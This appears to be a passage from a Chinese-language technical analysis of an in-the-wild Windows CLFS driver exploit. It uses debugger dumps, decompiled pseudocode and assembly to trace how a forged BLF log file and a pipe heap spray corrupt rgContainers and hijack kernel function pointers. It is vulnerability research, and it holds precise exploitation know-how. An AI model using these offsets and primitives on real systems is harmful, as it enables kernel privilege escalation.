fffff800`53112b2c 488b09 mov rcx,qword ptr [rcx]
fffff800`53112b2f 483b0d8a230000 cmp rcx,qword ptr [CLFS!CLFS_LSN_NULL (fffff800`53114ec0)]
fffff800`53112b36 742a je CLFS!ClfsEarlierLsn+0x42 (fffff800`53112b62)
fffff800`53112b38 483bc8 cmp rcx,rax
fffff800`53112b3b 7425 je CLFS!ClfsEarlierLsn+0x42 (fffff800`53112b62)
根据CClfsBaseFilePersisted::CheckSecureAccess的伪代码,可知触发漏洞的错误对象来自于CClfsBaseFile::GetSymbol,并且其类型为_CLFS_CONTAINER_CONTEXT 对象指针。
Symbol = CClfsBaseFile::GetSymbol(a1, v14, v12, &v25);// 获取到错误对象
v17 = Symbol;
if ( Symbol < 0 )
goto LABEL_21;
v15 = (void (__fastcall ***)(_QWORD))*((_QWORD *)v25 + 3);
if ( v15 )
{
v20 = (struct CClfsContainer *)*((_QWORD *)v25 + 3);// 调用函数指针
v7 = v20;
__int64 __fastcall CClfsBaseFile::GetSymbol(
PERESOURCE *this,
unsigned int a2,
int a3,
struct _CLFS_CONTAINER_CONTEXT **a4)
{
.....
v6 = a2;
v8 = 0;
v17 = 0;
if ( a2 < 0x1368 )
return 3222929421i64;
*a4 = 0i64;
ExAcquireResourceSharedLite(this[4], 1u);
if ( !CClfsBaseFile::IsValidOffset((CClfsBaseFile *)this, v6 + 47) )
goto LABEL_15;
CClfsBaseFile::GetBaseLogRecord((CClfsBaseFile *)this);
v18[0] = 0;
if ( (int)ULongAdd(v6, *(_DWORD *)(v11 + 40), (unsigned int *)v18) < 0
|| !v12
|| v18[0] >= (unsigned int)(*(unsigned __int16 *)(v13 + 4) << 9)
|| !(v12 + v6) )
{
goto LABEL_15;
}
if ( *(_DWORD *)(v12 + v6 - 12) != (_DWORD)v6 )
{
v8 = -1073741816;
LABEL_16:
v17 = v8;
goto LABEL_17;
}
v14 = ClfsQuadAlign(0x30u);
if ( *(_DWORD *)(v15 - 16) != (unsigned __int64)(v16 + v14)
|| *(_DWORD *)v15 != -1040322552
|| *(_DWORD *)(v15 + 4) != 48
|| *(_DWORD *)(v15 + 16) != a3 )
{
LABEL_15:
v8 = -1072037875;
goto LABEL_16;
}
*a4 = (struct _CLFS_CONTAINER_CONTEXT *)v15;
......
return v8;
}
PAGE:00000001C00346FE 8B FA mov edi, edx
......
PAGE:00000001C0034766 E8 B5 00 00 00 call ?GetBaseLogRecord@CClfsBaseFile@@IEAAPEAU_CLFS_BASE_RECORD_HEADER@@XZ ; CClfsBaseFile::GetBaseLogRecord(void)
PAGE:00000001C0034766
PAGE:00000001C003476B ; 28: v18[0] = 0;
PAGE:00000001C003476B 4C 8B C8 mov r9, rax
PAGE:00000001C003476E 89 5C 24 24 mov [rsp+48h+var_24], ebx
PAGE:00000001C0034772 ; 29: if ( (int)ULongAdd(v6, *(_DWORD *)(v11 + 40), (unsigned int *)v18) < 0
PAGE:00000001C0034772 ; 30: || !v12
PAGE:00000001C0034772 ; 31: || v18[0] >= (unsigned int)(*(unsigned __int16 *)(v13 + 4) << 9)
PAGE:00000001C0034772 ; 32: || !(v12 + v6) )
PAGE:00000001C0034772 4C 8D 44 24 24 lea r8, [rsp+48h+var_24]
PAGE:00000001C0034777 41 8B 53 28 mov edx, [r11+28h]
PAGE:00000001C003477B 8B CF mov ecx, edi
PAGE:00000001C003477D E8 1E 7D FD FF call ?ULongAdd@@YAJKKPEAK@Z ; ULongAdd(ulong,ulong,ulong *)
PAGE:00000001C003477D
PAGE:00000001C0034782 85 C0 test eax, eax
PAGE:00000001C0034784 78 5B js short loc_1C00347E1
PAGE:00000001C0034784
PAGE:00000001C0034786 4D 85 C9 test r9, r9
PAGE:00000001C0034789 74 56 jz short loc_1C00347E1
PAGE:00000001C0034789
PAGE:00000001C003478B 41 0F B7 43 04 movzx eax, word ptr [r11+4]
PAGE:00000001C0034790 C1 E0 09 shl eax, 9
PAGE:00000001C0034793 39 44 24 24 cmp [rsp+48h+var_24], eax
PAGE:00000001C0034797 73 48 jnb short loc_1C00347E1
PAGE:00000001C0034797
PAGE:00000001C0034799 ; 34: goto LABEL_15;
PAGE:00000001C0034799 48 8B D7 mov rdx, rdi
PAGE:00000001C003479C 49 03 D1 add rdx, r9
......
PAGE:00000001C00347DC 49 89 16 mov [r14], rdx
根据伪代码和汇编可知最终a4的值由rdx+r9,r9来自于GetBaseLogRecord函数返回值,是一个固定值,rdx是CClfsBaseFile::GetSymbol的第二个参数,需要注意的是要将值赋给a4需要满足if语句中的条件,可以看到对应于在主blf文件修改的几个值。
在CClfsBaseFilePersisted::CheckSecureAccess中,GetSymbol的第二个参数为BaseLogRecord+0x328,对应于rgContainers数组。
BaseLogRecord = CClfsBaseFile::GetBaseLogRecord((CClfsBaseFile *)a1);
v26 = BaseLogRecord;
if ( !BaseLogRecord )
{
LABEL_20:
Symbol = -1072037875;
v17 = -1072037875;
goto LABEL_21;
}
v12 = 0i64;
v24 = 0;
v13 = 0;
v23 = 0;
while ( v13 < v11 && (unsigned int)v12 < 0x400 )
{
v14 = *((_DWORD *)BaseLogRecord + v12 + 0xCA);
if ( v14 )
{
Symbol = CClfsBaseFile::GetSymbol(a1, v14, v12, &v25);// 获取到错误对象
在内存中可以看到其值为0x1570
0: kd> db ffffe381`a86d7070 + 0x328
ffffe381`a86d7398 70 15 00 00 00 00 00 00-00 00 00 00 00 00 00 00 p...............
ffffe381`a86d73a8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
根据代码逻辑GetSymbol会根据BaseLogRecord+0x1570定位container context对象并尝试调用pContainer成员的指针,container context如下:
0: kd> dq ffffe381`a86d7070 + 0x1570
ffffe381`a86d85e0 00000030`c1fdf008 00000000`00000000
ffffe381`a86d85f0 00000000`00000000 00000000`05000000
0: kd> dps 00000000`05000000
00000000`05000000 00000000`05001000
00000000`05000008 ffffa289`14aec2b2
00000000`05000010 00000000`00000000
00000000`05000018 00000000`00000000
00000000`05000020 00000000`00000000
00000000`05000028 00000000`00000000
00000000`05000030 ffffa289`17764520
00000000`05000038 00000000`00000000
00000000`05000040 00000000`00000000
00000000`05000048 00000000`00000000
00000000`05000050 00000000`00000000
00000000`05000058 00000000`00000000
00000000`05000060 00000000`00000000
00000000`05000068 00000000`00000000
00000000`05000070 00000000`00000000
00000000`05000078 00000000`00000000
0: kd> dq 00000000`05001000
00000000`05001000 fffff800`53141b60 fffff800`53112b20
00000000`05001010 fffff800`53112b20 fffff800`53112b20
00000000`05001020 fffff800`53112b20 fffff800`55c2c640
00000000`05001030 fffff800`53112b20 fffff800`53112b20
00000000`05001040 fffff800`53112b20 fffff800`53112b20
00000000`05001050 fffff800`53112b20 fffff800`53112b20
00000000`05001060 fffff800`53112b20 fffff800`53112b20
00000000`05001070 fffff800`53112b20 fffff800`53112b20
0: kd> u fffff800`53141b60
CLFS!ClfsMgmtDeregisterManagedClient:
fffff800`53141b60 48895c2408 mov qword ptr [rsp+8],rbx
fffff800`53141b65 57 push rdi
fffff800`53141b66 4883ec20 sub rsp,20h
fffff800`53141b6a 488bd9 mov rbx,rcx
fffff800`53141b6d 4885c9 test rcx,rcx
fffff800`53141b70 0f841ae50000 je CLFS!ClfsMgmtDeregisterManagedClient+0xe530 (fffff800`53150090)
fffff800`53141b76 4c8b150335feff mov r10,qword ptr [CLFS!_imp_KeEnterCriticalRegion (fffff800`53125080)]
fffff800`53141b7d e8ae5eb302 call nt!KeEnterCriticalRegion (fffff800`55c77a30)
0: kd> u fffff800`53112b20
CLFS!ClfsEarlierLsn:
fffff800`53112b20 488b0511280000 mov rax,qword ptr [CLFS!CLFS_LSN_INVALID (fffff800`53115338)]
fffff800`53112b27 4885c9 test rcx,rcx
fffff800`53112b2a 7436 je CLFS!ClfsEarlierLsn+0x42 (fffff800`53112b62)
fffff800`53112b2c 488b09 mov rcx,qword ptr [rcx]
fffff800`53112b2f 483b0d8a230000 cmp rcx,qword ptr [CLFS!CLFS_LSN_NULL (fffff800`53114ec0)]
fffff800`53112b36 742a je CLFS!ClfsEarlierLsn+0x42 (fffff800`53112b62)
fffff800`53112b38 483bc8 cmp rcx,rax
fffff800`53112b3b 7425 je CLFS!ClfsEarlierLsn+0x42 (fffff800`53112b62)
调用pContainer的函数指针汇编如下
PAGE:00000001C00337AF E8 2C 0F 00 00 call ?GetSymbol@CClfsBaseFile@@QEAAJJKPEAPEAU_CLFS_CONTAINER_CONTEXT@@@Z ; CClfsBaseFile::GetSymbol(long,ulong,_CLFS_CONTAINER_CONTEXT * *)
PAGE:00000001C00337AF
PAGE:00000001C00337B4 8B D8 mov ebx, eax
PAGE:00000001C00337B6 ; 66: v17 = Symbol;
PAGE:00000001C00337B6 89 44 24 40 mov [rsp+0B8h+var_78], eax
PAGE:00000001C00337BA ; 67: if ( Symbol < 0 )
PAGE:00000001C00337BA 85 C0 test eax, eax
PAGE:00000001C00337BC ; 68: goto LABEL_21;
PAGE:00000001C00337BC 0F 88 F1 00 00 00 js loc_1C00338B3
PAGE:00000001C00337BC
PAGE:00000001C00337C2 ; 69: v15 = (void (__fastcall ***)(_QWORD))*((_QWORD *)v25 + 3);
PAGE:00000001C00337C2 48 8B 44 24 70 mov rax, [rsp+0B8h+var_48]
PAGE:00000001C00337C7 48 8B 48 18 mov rcx, [rax+18h]
PAGE:00000001C00337CB ; 70: if ( v15 )
PAGE:00000001C00337CB 48 85 C9 test rcx, rcx
PAGE:00000001C00337CE 0F 84 EB 00 00 00 jz loc_1C00338BF
PAGE:00000001C00337CE
PAGE:00000001C00337D4 ; 73: v7 = v20;
PAGE:00000001C00337D4 48 8B F9 mov rdi, rcx
PAGE:00000001C00337D7 ; 72: v20 = (struct CClfsContainer *)*((_QWORD *)v25 + 3);// 调用函数指针
PAGE:00000001C00337D7 48 89 4C 24 50 mov [rsp+0B8h+var_68], rcx
PAGE:00000001C00337DC ; 74: (**v15)(v15);
PAGE:00000001C00337DC 48 8B 01 mov rax, [rcx]
PAGE:00000001C00337DF 48 8B 00 mov rax, [rax]
PAGE:00000001C00337E2 FF 15 00 1E FF FF call cs:__guard_dispatch_icall_fptr
pContainer指向的对象的第一个函数指针指向了ClfsMgmtDeregisterManagedClient,该函数会调用rcx+0x28和rcx+0x8的函数指针。
NTSTATUS __stdcall ClfsMgmtDeregisterManagedClient(CLFS_MGMT_CLIENT ClientCookie)
{
NTSTATUS v2; // edi
if ( !ClientCookie )
return -1073741811;
KeEnterCriticalRegion();
v2 = (*(__int64 (__fastcall **)(CLFS_MGMT_CLIENT, _QWORD))(*(_QWORD *)ClientCookie + 0x28i64))(ClientCookie, 0i64);
(*(void (__fastcall **)(CLFS_MGMT_CLIENT))(*(_QWORD *)ClientCookie + 8i64))(ClientCookie);
KeLeaveCriticalRegion();
return v2;
}
而rcx指向了0x501000,在内存布局中rcx+0x28和rcx+0x8分别指向了RtlClearBit和ClfsEarlierLsn函数。
回溯触发过程,容易得出结论,漏洞利用的核心是rgContainers数组被修改导致定位到了错误的container context,在正常文件中rgContainers处偏移为0x1470,在触发漏洞时,该值被修改为了0x1570。错误的container context由攻击者控制,从而控制到了CClfsContainer对象,导致调用了错误的函数指针。

再次调试,在主blf文件的baselogrecord+0x328位置处下写断点。运行样本。在CLFS!CClfsBaseFilePersisted::WriteMetadataBlock+0x9a处断下。
1: kd> ba w2 FFFFE381A2303000+0x398
0: kd> k
# Child-SP RetAddr Call Site
00 ffffa00a`57e30340 fffff800`531519cf CLFS!CClfsBaseFilePersisted::WriteMetadataBlock+0x9a
01 ffffa00a`57e303d0 fffff800`5312b839 CLFS!CClfsBaseFilePersisted::ExtendMetadataBlock+0x423
02 ffffa00a`57e304a0 fffff800`5312ccbc CLFS!CClfsBaseFilePersisted::AddSymbol+0x10d
03 ffffa00a`57e30520 fffff800`5312b3e6 CLFS!CClfsBaseFilePersisted::AddContainer+0xdc
04 ffffa00a`57e305d0 fffff800`53154845 CLFS!CClfsLogFcbPhysical::AllocContainer+0x136
05 ffffa00a`57e30670 fffff800`53132dd5 CLFS!CClfsRequest::AllocContainer+0x27d
06 ffffa00a`57e30730 fffff800`531328e7 CLFS!CClfsRequest::Dispatch+0x351
07 ffffa00a`57e30780 fffff800`53132837 CLFS!ClfsDispatchIoRequest+0x87
08 ffffa00a`57e307d0 fffff800`55c954d5 CLFS!CClfsDriver::LogIoDispatch+0x27
09 ffffa00a`57e30800 fffff800`560a6048 nt!IofCallDriver+0x55
0a ffffa00a`57e30840 fffff800`560a5e47 nt!IopSynchronousServiceTail+0x1a8
0b ffffa00a`57e308e0 fffff800`560a51c6 nt!IopXxxControlFile+0xc67
0c ffffa00a`57e30a20 fffff800`55e0d8f5 nt!NtDeviceIoControlFile+0x56
0d ffffa00a`57e30a90 00007ffd`9160d1a4 nt!KiSystemServiceCopyEnd+0x25
0e 0000009e`74b1b448 00007ffd`8f0c572b ntdll!NtDeviceIoControlFile+0x14
0f 0000009e`74b1b450 00007ffd`900c5bf1 KERNELBASE!DeviceIoControl+0x6b
10 0000009e`74b1b4c0 00007ffd`7e4a2895 KERNEL32!DeviceIoControlImplementation+0x81
11 0000009e`74b1b510 00007ffd`7e4a245c clfsw32!AddLogContainerSet+0x425
12 0000009e`74b1b5f0 00007ff7`ecad3e82 clfsw32!AddLogContainer+0x3c
13 0000009e`74b1b630 00007ff7`ecad461c 0624fbfa7618628e1ede80fcc3c36b25+0x3e82
14 0000009e`74b1f890 00007ffd`900c7614 0624fbfa7618628e1ede80fcc3c36b25+0x461c
15 0000009e`74b1f8d0 00007ffd`915c26a1 KERNEL32!BaseThreadInitThunk+0x14
16 0000009e`74b1f900 00000000`00000000 ntdll!RtlUserThreadStart+0x21
对应的汇编指令为
fffff800`53134276 4aff0430 inc qword ptr [rax+r14]
在样本中为循环给创建的10个副blf文件添加日志容器

在CLFS!CClfsBaseFilePersisted::WriteMetadataBlock+0x9a函数中对应位置伪代码及汇编如下:
从this+0x30处取指针并解引用,而后访问指针指向的内存偏移24*a2的位置,将该处作为指针赋给v8,v8内存位置偏移0x28后作为指针并解引用赋给v10,v10和v8相加并解引用后自增1
__int64 __fastcall CClfsBaseFilePersisted::WriteMetadataBlock(CClfsBaseFilePersisted *this, unsigned int a2, char a3)
{
__int64 v4; // rsi
unsigned int v6; // ebx
char v7; // r12
__int64 v8; // r14
int v9; // r15d
__int64 v10; // rax
__int64 v11; // r9
__int64 v12; // rdx
unsigned int i; // esi
char *v14; // rdx
struct _CLFS_CONTAINER_CONTEXT *v15; // rcx
_QWORD *v16; // rsi
unsigned int v18; // [rsp+34h] [rbp-54h]
int v19; // [rsp+34h] [rbp-54h]
unsigned int v20; // [rsp+3Ch] [rbp-4Ch] BYREF
struct _CLFS_CONTAINER_CONTEXT *v21; // [rsp+40h] [rbp-48h] BYREF
__int64 v22; // [rsp+48h] [rbp-40h] BYREF
__int64 v23; // [rsp+50h] [rbp-38h]
BOOLEAN v24; // [rsp+A8h] [rbp+20h]
v4 = a2;
v6 = 0;
v23 = 0i64;
v21 = 0i64;
v7 = 0;
v24 = ExAcquireResourceExclusiveLite(*((PERESOURCE *)this + 4), 1u);
v8 = *(_QWORD *)(24 * v4 + *((_QWORD *)this + 6));// 获取偏移 (this+0x30h)
v23 = v8;
if ( v8 )
{
v7 = 1;
v10 = *(unsigned int *)(v8 + 40);
**v11 = ++*(_QWORD *)(v10 + v8) & 1i64;**
v12 = *((_QWORD *)this + 6);
PAGE:00000001C0034202 48 8B F9 mov rdi, rcx
PAGE:00000001C0034205 33 DB xor ebx, ebx
PAGE:00000001C0034207 ; 24: v23 = 0i64;
PAGE:00000001C0034207 48 89 5C 24 50 mov [rsp+88h+var_38], rbx
PAGE:00000001C003420C ; 25: v21 = 0i64;
PAGE:00000001C003420C 48 89 5C 24 40 mov [rsp+88h+var_48], rbx
PAGE:00000001C0034211 ; 26: v7 = 0;
PAGE:00000001C0034211 45 32 E4 xor r12b, r12b
PAGE:00000001C0034214 ; 27: v24 = ExAcquireResourceExclusiveLite(*((PERESOURCE *)this + 4), 1u);
PAGE:00000001C0034214 44 88 64 24 30 mov [rsp+88h+var_58], r12b
PAGE:00000001C0034219 B2 01 mov dl, 1 ; Wait
PAGE:00000001C003421B 48 8B 49 20 mov rcx, [rcx+20h] ; Resource
PAGE:00000001C003421F 48 FF 15 8A 0E FF FF call cs:__imp_ExAcquireResourceExclusiveLite
PAGE:00000001C003421F
PAGE:00000001C0034226 0F 1F 44 00 00 nop dword ptr [rax+rax+00h]
PAGE:00000001C003422B 88 84 24 A8 00 00 00 mov [rsp+88h+arg_18], al
PAGE:00000001C003422B
PAGE:00000001C0034232
PAGE:00000001C0034232 loc_1C0034232: ; DATA XREF: .rdata:00000001C0017DD0↑o
PAGE:00000001C0034232 ; __try { // __finally(_CClfsBaseFilePersisted__WriteMetadataBlock____1___fin$0)
PAGE:00000001C0034232 44 8B EE mov r13d, esi
PAGE:00000001C0034235 48 8D 0C 75 00 00 00 00 lea rcx, ds:0[rsi*2]
PAGE:00000001C003423D 48 03 CE add rcx, rsi
PAGE:00000001C0034240 4C 8D 04 CD 00 00 00 00 lea r8, ds:0[rcx*8]
PAGE:00000001C0034248 ; 28: v8 = *(_QWORD *)(24 * v4 + *((_QWORD *)this + 6));// 获取偏移 (this+0x30h)
PAGE:00000001C0034248 48 8B 4F 30 mov rcx, [rdi+30h]
PAGE:00000001C003424C 4D 8B 34 08 mov r14, [r8+rcx]
PAGE:00000001C0034250 ; 29: v23 = v8;
PAGE:00000001C0034250 4C 89 74 24 50 mov [rsp+88h+var_38], r14
PAGE:00000001C0034255 ; 30: if ( v8 )
PAGE:00000001C0034255 4D 85 F6 test r14, r14
PAGE:00000001C0034258 75 10 jnz short loc_1C003426A
PAGE:00000001C0034258
PAGE:00000001C003425A ; 74: v9 = -1072037875;
PAGE:00000001C003425A 41 BF 0D 00 1A C0 mov r15d, 0C01A000Dh
PAGE:00000001C0034260 ; 75: v18 = -1072037875;
PAGE:00000001C0034260 44 89 7C 24 34 mov [rsp+88h+var_54], r15d
PAGE:00000001C0034265 E9 28 01 00 00 jmp loc_1C0034392
PAGE:00000001C0034265
PAGE:00000001C003426A ; ---------------------------------------------------------------------------
PAGE:00000001C003426A ; 32: v7 = 1;
PAGE:00000001C003426A
PAGE:00000001C003426A loc_1C003426A: ; CODE XREF: CClfsBaseFilePersisted::WriteMetadataBlock(ulong,uchar)+78↑j
PAGE:00000001C003426A 41 B4 01 mov r12b, 1
PAGE:00000001C003426D ; 33: v10 = *(unsigned int *)(v8 + 40);
PAGE:00000001C003426D 44 88 64 24 30 mov [rsp+88h+var_58], r12b
PAGE:00000001C0034272 41 8B 46 28 mov eax, [r14+28h]
PAGE:00000001C0034276 ; 34: v11 = ++*(_QWORD *)(v10 + v8) & 1i64;
PAGE:00000001C0034276 4A FF 04 30 **inc qword ptr [rax+r14]**
在zscaler对CVE-2022-37969的分析中提到过CClfsBaseFilePersisted类结构,CClfsBaseFilePersisted类的this+0x30处存储了一个指向堆缓冲区的指针,该缓冲区大小为0xa0,在缓冲区0x30偏移处存储了指向base block的指针,如下所示:
0: kd> dps rdi
ffffa289`156cc000 fffff800`53114020 CLFS!CClfsBaseFilePersisted::`vftable'
ffffa289`156cc008 ffffffff`00000001
ffffa289`156cc010 00000000`00000000
ffffa289`156cc018 00000018`00000000
ffffa289`156cc020 ffffa289`1469a310
ffffa289`156cc028 00000000`19630006
ffffa289`156cc030 **ffffa289`19254810 // 堆指针**
ffffa289`156cc038 ffffa289`17bfd4d0
ffffa289`156cc040 ffffe381`a8743088
ffffa289`156cc048 00000000`0000000b
ffffa289`156cc050 ffffa289`156cc000
ffffa289`156cc058 ffffe381`a87430e0
ffffa289`156cc060 00000000`0000000b
ffffa289`156cc068 ffffa289`156cc000
ffffa289`156cc070 ffffe381`a8743138
ffffa289`156cc078 00000000`0000000b
0: kd> dq ffffa289`19254810
ffffa289`19254810 ffffe381`a5c7f680 00000000`00000400
ffffa289`19254820 00000000`00000000 ffffe381`a5c7f680
ffffa289`19254830 00000400`00000400 00000000`00000001
ffffa289`19254840 **ffffe381`a8743000** 00000800`00007a00 **// 指向了base block**
ffffa289`19254850 00000000`00000002 ffffe381`a8743000
ffffa289`19254860 00008200`00007a00 00000000`00000003
ffffa289`19254870 ffffe381`a5353cc0 0000fc00`00000200
ffffa289`19254880 00000000`00000004 ffffe381`a5353cc0
0: kd> db ffffe381`a8743000 **// base block内容**
ffffe381`a8743000 15 00 01 00 3d 00 3d 00-00 00 00 00 00 00 00 00 ....=.=.........
ffffe381`a8743010 02 00 00 00 00 00 00 00-00 00 00 00 ff ff ff ff ................
ffffe381`a8743020 00 00 00 00 ff ff ff ff-70 00 00 00 00 00 00 00 ........p.......
ffffe381`a8743030 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffe381`a8743040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffe381`a8743050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffe381`a8743060 00 00 00 00 00 00 00 00-80 79 00 00 00 00 00 00 .........y......
ffffe381`a8743070 01 00 00 00 00 00 00 00-9c 06 ce e1 00 1c ee 11 ................
0: kd> !pool ffffe381`a8743000
Pool page ffffe381a8743000 region is Paged pool
*ffffe381a8743000 : large page allocation, tag is Clfs, size is 0x7a00 bytes
Pooltag Clfs : CLFS General buffer, or owner page lookaside list, Binary : clfs.sys
回到调试器中r14和rax寄存器值分别问ffffe381a2303030和0000000000000369
0: kd> rr14
r14=ffffe381a2303030
0: kd> rrax
rax=0000000000000369
可以看出ffffe381a2303030位于主blf文件的base block + 0x30位置,rax值取自于base block + 0x30 + 0x28
0: kd> db ffffe381a2303030 + 0x28
ffffe381`a2303058 69 03 00 00 00 00 00 00-00 00 00 00 00 00 00 00 i...............
所以代码会让主blf的base block + 0x30 + 0x369 = base block +0x399处的一个字节自增1,而该处和BaseLogRecord的rgContainers的高字节重叠,前面说过正常blf文件的rgContainers值为0x1470,在该处自增1后,高字节0x14自增就变为了0x15,导致该处值变为0x1570,从而导致后续定位主blf文件的container context时定位到了攻击者伪造的container context。
这里的问题是,该处原为给10个副blf文件添加日志容器,所以按正常来讲该处定位到的应该是副blf文件的base block,而不是主blf文件的base block。回到CClfsBaseFilePersisted::WriteMetadataBlock函数中,定位base block代码如下
v8 = *(_QWORD *)(24 * v4 + *((_QWORD *)this + 6));// 获取偏移 (this+0x30h)
其中*((_QWORD *)this + 6)为固定值(堆指针),v4为传入WriteMetadataBlock的第二个参数,回溯到调用者,去除无关逻辑之后如下:
__int64 __fastcall CClfsBaseFilePersisted::ExtendMetadataBlock(__int64 a1, int a2, int a3)
{
.....
v3 = a2;
v36 = 0i64;
v42 = 0i64;
v34 = 0i64;
......
EventObject = CClfsBaseFile::GetControlRecord((CClfsBaseFile *)a1, &v34);
......
EventObject = CClfsBaseFilePersisted::FlushControlRecord((CClfsBaseFilePersisted *)a1);
for ( k = EventObject; EventObject >= 0; k = EventObject )
{
LABEL_41:
if ( *v12 != 2 )
break;
......
v27 = *((unsigned __int16 *)v34 + 0xD);
v28 = *((unsigned __int16 *)v34 + 0xD);
if ( ((_WORD)v27 == *((_WORD *)v34 + 12)
|| CClfsBaseFilePersisted::IsShadowBlock(v14, v27, *((unsigned __int16 *)v34 + 12)))
&& *(_DWORD *)(*(_QWORD *)(a1 + 48) + 24 * v27 + 8) >> 9 < *((_DWORD *)v34 + 7) )
{
CClfsBaseFilePersisted::ExtendMetadataBlockDescriptor(
(CClfsBaseFilePersisted *)a1,
v28,
*((_DWORD *)v34 + 9) >> 1);
LOWORD(v27) = *v25;
}
CClfsBaseFilePersisted::WriteMetadataBlock((CClfsBaseFilePersisted *)a1, (unsigned __int16)v27, 0);
......
}
}
}
}
}
}
}
}
}
......
return (unsigned int)EventObject;
}
WriteMetadataBlock的第二个参数来源于CClfsBaseFile::GetControlRecord的第二个参数,跟进CClfsBaseFile::GetControlRecord逻辑
__int64 __fastcall CClfsBaseFile::GetControlRecord(CClfsBaseFile *this, struct _CLFS_CONTROL_RECORD **a2)
{
......
*a2 = 0i64;
v13 = 0;
v14 = 0;
result = CClfsBaseFile::AcquireMetadataBlock(this);
v5 = result;
if ( (int)result >= 0 )
{
v6 = (_DWORD *)*((_QWORD *)this + 6); // 访问this+0x30处的指针,这个指针指向了0x90大小的heap
v7 = *(_QWORD *)v6; // 该段内存存储了一些内存指针,获取偏移0x0处的指针,这个指针指向了control block
v8 = v6[2];
v9 = *(unsigned int *)(*(_QWORD *)v6 + 0x28i64);// 获取control block 0x28的数值
v10 = *(_QWORD *)v6 + v9; // 将control block 0x28处数值和control block相加,计算control record
if ( (unsigned int)v9 < v8 && (unsigned int)v9 >= 0x70 && v8 - (unsigned int)v9 >= 0x68 )
{
v11 = 24i64 * *(unsigned __int16 *)(v10 + 72);
if ( v8 - (unsigned int)v9 - 80 >= v11 )
{
if ( (g_signatureOffsetsValidation & 1) == 0
|| (v12 = *(unsigned int *)(v7 + 104), v11 + (unsigned int)(v9 + 80) <= v12)
&& (unsigned int)v12 <= v8
&& (int)RtlULongMult(*(unsigned __int16 *)(v7 + 4), 2u, &v13) >= 0
&& (int)RtlULongAdd(v12, v13, &v14) >= 0
&& v14 <= v8 )
{
*a2 = (struct _CLFS_CONTROL_RECORD *)v10;
return v5;
}
if ( WPP_GLOBAL_Control != &WPP_GLOBAL_Control && (*((_DWORD *)WPP_GLOBAL_Control + 11) & 0x8000000) != 0 )
WPP_SF_sdLLH(*((_QWORD *)WPP_GLOBAL_Control + 3));
}
}
return 0xC01A000Di64;
}
return result;
}
分析该代码,虽然this参数为CClfsBaseFile *类型,但在调用CClfsBaseFile::GetControlRecord的CClfsBaseFilePersisted::ExtendMetadataBlock函数中传入的该参数原类型为CClfsBaseFilePersisted。
该代码最终计算a2的逻辑为从this+30处取得指针并解引用,获得control block地址,而后解引用该地址并在偏移0x28处取得一个偏移,将这个偏移和control block相加获得control record地址并赋给a2.
在调试器中可以看到该偏移为0x70,即从control block +0x70位置定位到了control record
0: kd> db ffffe381`a5c7f680 + 0x28
ffffe381`a5c7f6a8 70 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 p...............
回到CClfsBaseFilePersisted::ExtendMetadataBlock函数中,在取得control record之后,在control record+0x1a处取得值并作为第二个参数传入CClfsBaseFilePersisted::WriteMetadataBlock中,该处取得值为0x13
0: kd> db ffffe381`a5c7f680 + 0x70 + 0x1a
ffffe381`a5c7f70a 13 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
根据前面CClfsBaseFilePersisted::WriteMetadataBlock的逻辑可知,在第二个参数传入0x13之后计算的偏移为0x18*0x13=0x1c8,即从poi(CClfsBaseFilePersisted+0x30)+0x1c8取得值并获取poi(poi(CClfsBaseFilePersisted+0x30)+0x1c8)+0x28处的偏移。
在前面分析CClfsBaseFilePersisted结构知道,0x30偏移处指向的堆内存大小只有0xa0
0: kd> !pool ffffa289`19254810
Pool page ffffa28919254810 region is Nonpaged pool
ffffa28919254080 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254120 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa289192541c0 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254260 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254300 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa289192543a0 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254440 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa289192544e0 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254580 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254620 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa289192546c0 size: a0 previous size: 0 (Allocated) Clfs
ffffa28919254760 size: a0 previous size: 0 (Free) Vad
*ffffa28919254800 size: a0 previous size: 0 (Allocated) *Clfs
Pooltag Clfs : CLFS General buffer, or owner page lookaside list, Binary : clfs.sys
ffffa289192548a0 size: a0 previous size: 0 (Allocated) Clfs
ffffa28919254940 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa289192549e0 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254a80 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254b20 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254bc0 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254c60 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254d00 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254da0 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254e40 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
ffffa28919254ee0 size: a0 previous size: 0 (Allocated) NpFr Process: ffffa28915324300
当使用0x1c8访问时会产生越界,此时读取到的实际是使用pipe WriteFile时申请的堆,此前通过pipe写入了主blf文件的base block+0x30,所以该处读取到的地址实际上是主blf文件的base block + 0x30。
经过poi(poi(CClfsBaseFilePersisted+0x30)+0x1c8)+0x28运算会取到主blf文件的base block + 0x58的位置,而该位置值已经被修改为了0x369.
0: kd> dq ffffa289`19254810 + 0x1c8
ffffa289`192549d8 ffffe381`a2303030 7246704e`0a0a0000
ffffa289`192549e8 5e85fe62`4567d0ee ffffe381`a9cb4258
ffffa289`192549f8 ffffe381`a9cb4258 00000000`00000000
